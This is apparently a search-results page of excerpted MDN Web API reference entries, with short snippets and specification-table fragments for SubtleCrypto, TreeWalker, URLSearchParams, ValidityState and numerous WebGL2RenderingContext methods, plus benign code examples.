otherwise it will be the initial key material for the derivation function: for example, for pbkdf2 it might be a password, imported as a cryptokey using subtlecrypto.importkey().
... derivedbitsvalue.classlist.remove("fade-in"); }); derivedbitsvalue.textcontent = `${buffer}...[${derivedbits.bytelength} bytes total]`; } const derivebitsbutton = document.queryselector(".pbkdf2 .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { getderivedbits(); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.derivebits()' in that specification.
... recommendation initial definition.
SubtleCrypto.wrapKey() - Web APIs
one advantage of using aes-kw over another aes mode such as aes-gcm is that aes-kw does not require an initialization vector.
...enerate a sign/verify key pair, then wrap the private key */ window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ) .then((keypair) => { return wrapcryptokey(keypair.privatekey); }) .then((wrappedkey) => { console.log(wrappedkey); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.wrapkey()' in that specification.
... recommendation initial definition.
SubtleCrypto - Web APIs
the difference is that generatekey() will generate a new distinct key value each time you call it, while derivekey() derives a key from some initial keying material.
...1 ✓ sha-256 ✓ sha-384 ✓ sha-512 ✓ ecdh ✓ hkdf ✓ pbkdf2 ✓ aes-kw ✓ specifications specification status comment web cryptography apithe definition of 'subtlecrypto' in that specification.
... recommendation initial definition.
Text.wholeText - Web APIs
WebAPITextwholeText
specifications specification status comment domthe definition of 'text.wholetext' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'text.wholetext' in that specification.
... obsolete initial definition.
TextTrackCue - Web APIs
specifications specification status comment html living standardthe definition of 'texttrackcue' in that specification.
... living standard html5the definition of 'texttrackcue' in that specification.
... recommendation initial definition ...
Touch() - Web APIs
WebAPITouchTouch
syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point.
... specifications specification status comment touch events – level 2the definition of 'touchevent' in that specification.
... draft initial definition.
Touch - Web APIs
WebAPITouch
specifications specification status comment touch events – level 2the definition of 'touch' in that specification.
... touch eventsthe definition of 'touch' in that specification.
... recommendation initial definition.
TouchEvent() - Web APIs
syntax event = new touchevent(typearg, toucheventinit); values typearg is a domstring representing the name of the event.
... toucheventinit optional is a toucheventinit dictionary, having the following fields: "touches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact currently touching the surface.
... the toucheventinit dictionary also accepts fields from uieventinit and from eventinit dictionaries.
TrackDefault.TrackDefault() - Web APIs
language a domstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a new track.
... label a domstring specifying a default label for the sourcebuffer to use when an initialization segment does not contain label information for a new track.
... kinds an array (sequence) of domstrings specifying default kinds for the sourcebuffer to use when an initialization segment does not contain kind information for a new track.
Transferable - Web APIs
specifications specification status comment html living standardthe definition of 'transferable' in that specification.
... html5the definition of 'transferable' in that specification.
... recommendation initial definition.
TransitionEvent - Web APIs
transitionevent.inittransitionevent() initializes a transitionevent created using the deprecated document.createevent("transitionevent") method.
... specifications specification status comment css transitionsthe definition of 'transitionevent' in that specification.
... working draft initial definition.
TreeWalker.currentNode - Web APIs
specifications specification status comment domthe definition of 'treewalker.currrentnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.currentnode' in that specification.
... obsolete initial definition.
TreeWalker.filter - Web APIs
WebAPITreeWalkerfilter
syntax nodefilter = treewalker.filter; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodefilter = treewalker.filter; // document.body in this case specifications specification status comment domthe definition of 'treewalker.filter' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.filter' in that specification.
... obsolete initial definition.
TreeWalker.firstChild() - Web APIs
node = treewalker.firstchild; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.firstchild(); // returns the first child of the root element, or null if none specifications specification status comment domthe definition of 'treewalker.firstchild' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.firstchild' in that specification.
... obsolete initial definition.
TreeWalker.lastChild() - Web APIs
syntax node = treewalker.lastchild(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.lastchild(); // returns the last visible child of the root element specifications specification status comment domthe definition of 'treewalker.lastchild' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.lastchild' in that specification.
... obsolete initial definition.
TreeWalker.nextNode() - Web APIs
alker.nextnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.nextnode(); // returns the first child of root, as it is the next node in document order specifications specification status comment domthe definition of 'treewalker.nextnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextnode' in that specification.
... obsolete initial definition.
TreeWalker.nextSibling() - Web APIs
xample var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); treewalker.firstchild(); var node = treewalker.nextsibling(); // returns null if the first child of the root element has no sibling specifications specification status comment domthe definition of 'treewalker.nextsibling' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextsibling' in that specification.
... obsolete initial definition.
TreeWalker.parentNode() - Web APIs
syntax node = treewalker.parentnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.parentnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.parentnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.parentnode' in that specification.
... obsolete initial definition.
TreeWalker.previousNode() - Web APIs
syntax node = treewalker.previousnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.previousnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.previousnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.previousnode' in that specification.
... obsolete initial definition.
TreeWalker.previousSibling() - Web APIs
node = treewalker.previoussibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.previoussibling(); // returns null as there is no previous sibiling specifications specification status comment domthe definition of 'treewalker.previoussibling' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.previoussibling' in that specification.
... obsolete initial definition.
TreeWalker.root - Web APIs
WebAPITreeWalkerroot
syntax root = treewalker.root; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = treewalker.root; // document.body in this case specifications specification status comment domthe definition of 'treewalker.root' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.root' in that specification.
... obsolete initial definition.
TreeWalker.whatToShow - Web APIs
t + nodefilter.show_comment + nodefilter.show_text, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); if( (treewalker.whattoshow == nodefilter.show_all) || (treewalker.whattoshow % (nodefilter.show_comment*2)) >= nodefilter.show_comment) { // treewalker will show comments } specifications specification status comment domthe definition of 'treewalker.whattoshow' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.whattoshow' in that specification.
... obsolete initial definition.
TreeWalker - Web APIs
specifications specification status comment domthe definition of 'treewalker' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker' in that specification.
... obsolete initial definition.
UIEvent.detail - Web APIs
WebAPIUIEventdetail
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent.detail' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'uievent.detail' in that specification.
... obsolete initial definition.
UIEvent.view - Web APIs
WebAPIUIEventview
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'uievent' in that specification.
... obsolete initial definition.
URL.createObjectURL() - Web APIs
specifications specification status comment file apithe definition of 'createobjecturl()' in that specification.
... working draft initial definition.
... media source extensionsthe definition of 'url' in that specification.
URL.pathname - Web APIs
WebAPIURLpathname
the pathname property of the url interface is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path).
... examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
... living standard initial definition.
URL.pathname - Web APIs
the pathname property of the url interface is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path).
... examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
... living standard initial definition.
URLSearchParams() - Web APIs
syntax var urlsearchparams = new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format.
...ch); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new urlsearchparams({"foo": "1", "bar": "2"}); specifications specification status comment urlthe definition of 'urlsearchparams()' in that specification.
... living standard initial definition.
URLSearchParams - Web APIs
however, it will strip an initial leading ?
...uivalent to decodeuricomponent('%40')) var paramsstring2 = "?query=value"; var searchparams2 = new urlsearchparams(paramsstring2); searchparams2.has("query"); // true var url = new url("http://example.com/search?query=%40"); var searchparams3 = new urlsearchparams(url.search); searchparams3.has("query") // true specifications specification status comment urlthe definition of 'urlsearchparams' in that specification.
... living standard initial definition.
URLUtilsReadOnly.pathname - Web APIs
the urlutilsreadonly.pathname read-only property returns a domstring containing an initial '/' followed by the path of the url.
... syntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification.
... living standard initial definition.
validityState.badInput - Web APIs
example <input type="number" id="age"> var input = document.getelementbyid("age"); if (input.validity.badinput) { console.log("bad input detected…"); } else { console.log("content of input ok."); } specifications specification status comment html living standardthe definition of 'validitystate.badinput' in that specification.
... living standard live standard html 5.1the definition of 'validitystate.badinput' in that specification.
... html5the definition of 'validitystate.badinput' in that specification.
ValidityState.patternMismatch - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.patternmismatch' in that specification.
... living standard html 5.1the definition of 'validitystate.patternmismatch' in that specification.
... recommendation html5the definition of 'validitystate.patternmismatch' in that specification.
ValidityState.rangeOverflow - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.rangeoverflow' in that specification.
... living standard html 5.1the definition of 'validitystate.rangeoverflow' in that specification.
... recommendation html5the definition of 'validitystate.rangeoverflow' in that specification.
ValidityState.rangeUnderflow - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.rangeunderflow' in that specification.
... living standard html 5.1the definition of 'validitystate.rangeunderflow' in that specification.
... recommendation html5the definition of 'validitystate.rangeunderflow' in that specification.
ValidityState.stepMismatch - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.stepmismatch' in that specification.
... living standard html 5.1the definition of 'validitystate.stepmismatch' in that specification.
... recommendation html5the definition of 'validitystate.stepmismatch' in that specification.
validityState.tooLong - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.toolong' in that specification.
... living standard html 5.1the definition of 'validitystate.toolong' in that specification.
... recommendation html5the definition of 'validitystate.toolong' in that specification.
validityState.tooShort - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.tooshort' in that specification.
... living standard html 5.1the definition of 'validitystate.tooshort' in that specification.
... recommendation html5the definition of 'validitystate.tooshort' in that specification.
ValidityState.typeMismatch - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.typemismatch' in that specification.
... living standard html 5.1the definition of 'validitystate.typemismatch' in that specification.
... recommendation html5the definition of 'validitystate.typemismatch' in that specification.
ValidityState - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate' in that specification.
... living standard living standard html 5.1the definition of 'validitystate' in that specification.
... html5the definition of 'validitystate' in that specification.
VisualViewport.pageLeft - Web APIs
the pageleft read-only property of the visualviewport interface returns the x coordinate of the left edge of the visual viewport relative to the initial containing block origin, in css pixels.
... specifications specification status comment visual viewport apithe definition of 'pageleft' in that specification.
... draft initial definition.
VisualViewport.pageTop - Web APIs
the pagetop read-only property of the visualviewport interface returns the y coordinate of the top edge of the visual viewport relative to the initial containing block origin, in css pixels.
... specifications specification status comment visual viewport apithe definition of 'pagetop' in that specification.
... draft initial definition.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
... recommendation initial definition.
... opengl es 3.0the definition of 'gldrawbuffers' in that specification.
WebGL2RenderingContext.beginQuery() - Web APIs
specifications specification status comment webgl 2.0the definition of 'beginquery' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glbeginquery' in that specification.
WebGL2RenderingContext.beginTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); gl.begintransformfeedback(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); specifications specification status comment webgl 2.0the definition of 'begintransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glbegintransformfeedback' in that specification.
WebGL2RenderingContext.bindBufferBase() - Web APIs
examples gl.bindbufferbase(gl.transform_feedback_buffer, 0, buffer); specifications specification status comment webgl 2.0the definition of 'bindbufferbase' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glbindbufferbase' in that specification.
WebGL2RenderingContext.bindBufferRange() - Web APIs
examples gl.bindbufferrange(gl.transform_feedback_buffer, 1, buffer, 0, 4); specifications specification status comment webgl 2.0the definition of 'bindbufferrange' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glbindbufferrange' in that specification.
WebGL2RenderingContext.bindSampler() - Web APIs
examples var sampler = gl.createsampler(); gl.bindsampler(0, sampler); specifications specification status comment webgl 2.0the definition of 'bindsampler' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glbindsampler' in that specification.
WebGL2RenderingContext.bindTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); specifications specification status comment webgl 2.0the definition of 'bindtransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glbindtransformfeedback' in that specification.
WebGL2RenderingContext.bindVertexArray() - Web APIs
specifications specification status comment webgl 2.0the definition of 'bindvertexarray' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glbindvertexarray' in that specification.
WebGL2RenderingContext.blitFramebuffer() - Web APIs
examples gl.blitframebuffer(0, 0, canvas.width, canvas.height, 0, 0, canvas.width, canvas.height, gl.color_buffer_bit, gl.nearest); specifications specification status comment webgl 2.0the definition of 'blitframebuffer' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glblitframebuffer' in that specification.
WebGL2RenderingContext.clearBuffer[fiuv]() - Web APIs
examples gl.clearbufferiv(gl.color, 0, new int32array([r, g, b, a])); gl.clearbufferuiv(gl.color, 0, new uint32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, new float32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, [0.0, 0.0, 0.0, 0.0]); gl.clearbufferfi(gl.depth_stencil, 0, 1.0, 0); specifications specification status comment webgl 2.0the definition of 'clearbuffer[fiuv]()' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glclearbuffer' in that specification.
WebGL2RenderingContext.clientWaitSync() - Web APIs
examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); var status = gl.clientwaitsync(sync, 0, 0); specifications specification status comment webgl 2.0the definition of 'clientwaitsync' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glclientwaitsync' in that specification.
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
examples gl.compressedtexsubimage3d(gl.texture_3d, 0, 0, 0, 512, 512, 512, gl.compressed_r11_eac, texturedata); specifications specification status comment webgl 2.0the definition of 'compressedtexsubimage3d' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glcompressedtexsubimage3d' in that specification.
WebGL2RenderingContext.copyBufferSubData() - Web APIs
uffer, srcbuffer); gl.bufferdata(gl.array_buffer, data, gl.static_draw); gl.bindbuffer(gl.copy_read_buffer, srcbuffer); gl.bindbuffer(gl.array_buffer, dstbuffer); gl.bufferdata(gl.array_buffer, new float32array(length), gl.static_draw); gl.copybuffersubdata(gl.copy_read_buffer, gl.array_buffer, 0, 0, length); specifications specification status comment webgl 2.0the definition of 'copybuffersubdata' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glcopybuffersubdata' in that specification.
WebGL2RenderingContext.copyTexSubImage3D() - Web APIs
examples gl.copytexsubimage3d(gl.texture_3d, 0, 0, 0, 0, 0, 0, 16, 16); specifications specification status comment webgl 2.0the definition of 'copytexsubimage3d' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glcopytexsubimage3d' in that specification.
WebGL2RenderingContext.deleteQuery() - Web APIs
gl.deletequery(query); specifications specification status comment webgl 2.0the definition of 'deletequery' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'gldeletequeries' in that specification.
WebGL2RenderingContext.deleteSampler() - Web APIs
gl.deletesampler(sampler); specifications specification status comment webgl 2.0the definition of 'deletesampler' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'gldeletesamplers' in that specification.
WebGL2RenderingContext.deleteSync() - Web APIs
gl.deletesync(sync); specifications specification status comment webgl 2.0the definition of 'deletesync' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gldeletesync' in that specification.
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
gl.deletetransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'deletetransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gldeletetransformfeedbacks' in that specification.
WebGL2RenderingContext.deleteVertexArray() - Web APIs
gl.deletevertexarray(vao); specifications specification status comment webgl 2.0the definition of 'deletevertexarray' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'gldeletevertexarrays' in that specification.
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
examples gl.drawarraysinstanced(gl.points, 0, 8, 4); specifications specification status comment webgl 2.0the definition of 'drawarraysinstanced' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gldrawarraysinstanced' in that specification.
WebGL2RenderingContext.drawBuffers() - Web APIs
examples gl.drawbuffers([gl.none, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'drawbuffers' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gldrawbuffers' in that specification.
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
examples gl.drawelementsinstanced(gl.points, 2, gl.unsigned_short, 0, 4); specifications specification status comment webgl 2.0the definition of 'drawelementsinstanced' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gldrawelementsinstanced' in that specification.
WebGL2RenderingContext.drawRangeElements() - Web APIs
examples gl.drawrangeelements(gl.points, 0, 7, 8, gl.unsigned_byte, 0); specifications specification status comment webgl 2.0the definition of 'drawrangeelements' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gldrawrangeelements' in that specification.
WebGL2RenderingContext.endQuery() - Web APIs
gl.endquery(gl.any_samples_passed); specifications specification status comment webgl 2.0the definition of 'endquery' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glendquery' in that specification.
WebGL2RenderingContext.endTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); gl.begintransformfeedback(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'endtransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glendtransformfeedback' in that specification.
WebGL2RenderingContext.fenceSync() - Web APIs
var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'fencesync' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glfencesync' in that specification.
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
examples gl.framebuffertexturelayer(gl.framebuffer, gl.color_attachment0, texture, 0, 8); specifications specification status comment webgl 2.0the definition of 'framebuffertexturelayer' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glframebuffertexturelayer' in that specification.
WebGL2RenderingContext.getActiveUniformBlockName() - Web APIs
examples var blockname = gl.getactiveuniformblockname(program, 0); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockname' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetactiveuniformblockname' in that specification.
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
examples var blocksize = gl.getactiveuniformblockparameter(program, blockindex, gl.uniform_block_data_size); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockparameter' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetactiveuniformblockiv' in that specification.
WebGL2RenderingContext.getActiveUniforms() - Web APIs
examples var uniformindices = gl.getuniformindices(program, ['ubored', 'ubogreen', 'uboblue']); var uniformoffsets = gl.getactiveuniforms(program, uniformindices, gl.uniform_offset); specifications specification status comment webgl 2.0the definition of 'getactiveuniforms' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetactiveuniformsiv' in that specification.
WebGL2RenderingContext.getFragDataLocation() - Web APIs
examples // program is a linked webglprogram gl.getfragdatalocation(program, 'fragcolor'); specifications specification status comment webgl 2.0the definition of 'getfragdatalocation' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgetfragdatalocation' in that specification.
WebGL2RenderingContext.getIndexedParameter() - Web APIs
examples var binding = gl.getindexedparameter(gl.transform_feedback_buffer_binding, 0); specifications specification status comment webgl 2.0the definition of 'getindexedparameter' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glget' in that specification.
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
examples var samples = gl.getinternalformatparameter(gl.renderbuffer, gl.rgba8, gl.samples); specifications specification status comment webgl 2.0the definition of 'getinternalformatparameter' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetinternalformativ' in that specification.
WebGL2RenderingContext.getQuery() - Web APIs
examples var currentquery = gl.getquery(gl.any_samples_passed, gl.current_query); specifications specification status comment webgl 2.0the definition of 'getquery' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgetqueryiv' in that specification.
WebGL2RenderingContext.getQueryParameter() - Web APIs
examples var query = gl.createquery(); gl.beginquery(gl.any_samples_passed, query); var result = gl.getqueryparameter(query, gl.query_result); specifications specification status comment webgl 2.0the definition of 'getqueryparameter' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgetqueryobjectuiv' in that specification.
WebGL2RenderingContext.getSamplerParameter() - Web APIs
examples var sampler = gl.createsampler(); gl.getsamplerparameter(sampler, gl.texture_compare_func); specifications specification status comment webgl 2.0the definition of 'getsamplerparameter' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgetsamplerparameter' in that specification.
WebGL2RenderingContext.getSyncParameter() - Web APIs
examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.getsyncparameter(sync, gl.sync_status); specifications specification status comment webgl 2.0the definition of 'getsyncparameter' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetsynciv' in that specification.
WebGL2RenderingContext.getTransformFeedbackVarying() - Web APIs
examples activeinfo = gl.gettransformfeedbackvarying(program, 0); specifications specification status comment webgl 2.0the definition of 'gettransformfeedbackvarying' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgettransformfeedbackvarying' in that specification.
WebGL2RenderingContext.getUniformBlockIndex() - Web APIs
examples // assuming a shader with the following declaration: // uniform ubodata { // mat4 foo; // } instancename; // use the block name, not the instance name: var blockindex = gl.getuniformblockindex(program, 'ubodata'); specifications specification status comment webgl 2.0the definition of 'getuniformblockindex' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetuniformblockindex' in that specification.
WebGL2RenderingContext.getUniformIndices() - Web APIs
examples var uniformindices = gl.getuniformindices(program, ['ubored', 'ubogreen', 'uboblue']); specifications specification status comment webgl 2.0the definition of 'getuniformindices' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgetuniformindices' in that specification.
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
examples gl.invalidateframebuffer(gl.read_framebuffer, [gl.color_attachment0, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'invalidateframebuffer' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glinvalidateframebuffer' in that specification.
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
examples gl.invalidatesubframebuffer(gl.read_framebuffer, [gl.color_attachment0, gl.color_attachment1], 0, 0, 256, 256); specifications specification status comment webgl 2.0the definition of 'invalidatesubframebuffer' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glinvalidatesubframebuffer' in that specification.
WebGL2RenderingContext.isQuery() - Web APIs
gl.isquery(query); specifications specification status comment webgl 2.0the definition of 'isquery' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glisquery' in that specification.
WebGL2RenderingContext.isSampler() - Web APIs
gl.issampler(sampler); specifications specification status comment webgl 2.0the definition of 'issampler' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glissampler' in that specification.
WebGL2RenderingContext.isSync() - Web APIs
gl.issync(sync); specifications specification status comment webgl 2.0the definition of 'issync' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glissync' in that specification.
WebGL2RenderingContext.isTransformFeedback() - Web APIs
gl.istransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'istransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glistransformfeedback' in that specification.
WebGL2RenderingContext.isVertexArray() - Web APIs
gl.isvertexarray(vao); specifications specification status comment webgl 2.0the definition of 'isvertexarray' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glisvertexarray' in that specification.
WebGL2RenderingContext.pauseTransformFeedback() - Web APIs
gl.resumetransformfeedback(); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'pausetransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glpausetransformfeedback' in that specification.
WebGL2RenderingContext.readBuffer() - Web APIs
examples gl.readbuffer(gl.color_attachment0); specifications specification status comment webgl 2.0the definition of 'readbuffer' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glreadbuffer' in that specification.
WebGL2RenderingContext.resumeTransformFeedback() - Web APIs
gl.resumetransformfeedback(); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'resumetransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glresumetransformfeedback' in that specification.
WebGL2RenderingContext.texImage3D() - Web APIs
// depth 0, // border gl.rgba, // format gl.unsigned_byte, // type new uint8array([0xff, 0x00, 0x00, 0x00])); // data specifications specification status comment webgl 2.0the definition of 'teximage3d' in that specification.
... editor's draft updated definition for webgl.
... opengl es 3.0the definition of 'glteximage3d' in that specification.
WebGL2RenderingContext.texStorage2D() - Web APIs
examples gl.texstorage2d(gl.texture_2d, 1, gl.rgb8, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage2d' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gltexstorage2d' in that specification.
WebGL2RenderingContext.texStorage3D() - Web APIs
examples gl.texstorage3d(gl.texture_3d, 1, gl.rgb8, 256, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage3d' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gltexstorage3d' in that specification.
WebGL2RenderingContext.texSubImage3D() - Web APIs
examples gl.texsubimage3d(gl.texture_3d, 0, 0, 0, 0, image.width, image.height, 1, gl.rgba, gl.unsigned_byte, image); specifications specification status comment webgl 2.0the definition of 'texsubimage3d' in that specification.
... editor's draft initial definition for webgl.
